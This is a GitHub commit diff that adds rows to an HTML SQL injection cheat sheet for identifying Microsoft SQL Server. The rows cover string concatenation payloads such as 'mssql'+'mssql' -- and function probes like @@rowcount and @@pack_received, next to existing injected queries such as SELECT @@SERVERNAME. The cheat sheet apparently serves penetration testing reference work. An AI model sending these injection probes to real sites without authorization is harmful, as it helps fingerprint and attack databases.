Skip to content

Commit 2be1614

Browse files
Update sqlserver.html (#18)
* Update sqlserver.html Added String concatenation section for SQL Server * Update sqlserver.html Added SQL Server functions
1 parent 77ead77 commit 2be1614

1 file changed

Lines changed: 10 additions & 0 deletions

File tree

dbmsIdentification/sqlserver.html

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,16 @@ <h3 id="sql-injection-detection">DBMS Identification</h3>
1818
<td>Default variable</td>
1919
<td>page.asp?id=sql'; SELECT @@SERVERNAME -- </td>
2020
</tr>
21+
<tr>
22+
<td>String concatenation</td>
23+
<td>page.php?id='mssql'+'mssql' -- </td>
24+
</tr>
25+
<tr>
26+
<td>Functions</td>
27+
<td>@@rowcount -- <br>
28+
SQUARE(1) -- <br>
29+
@@pack_received -- </td>
30+
</tr>
2131
<tr>
2232
<td>Error messages<br/><i>Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name.</i></td>
2333
<td>page.asp?id='</td>

0 commit comments

Comments
 (0)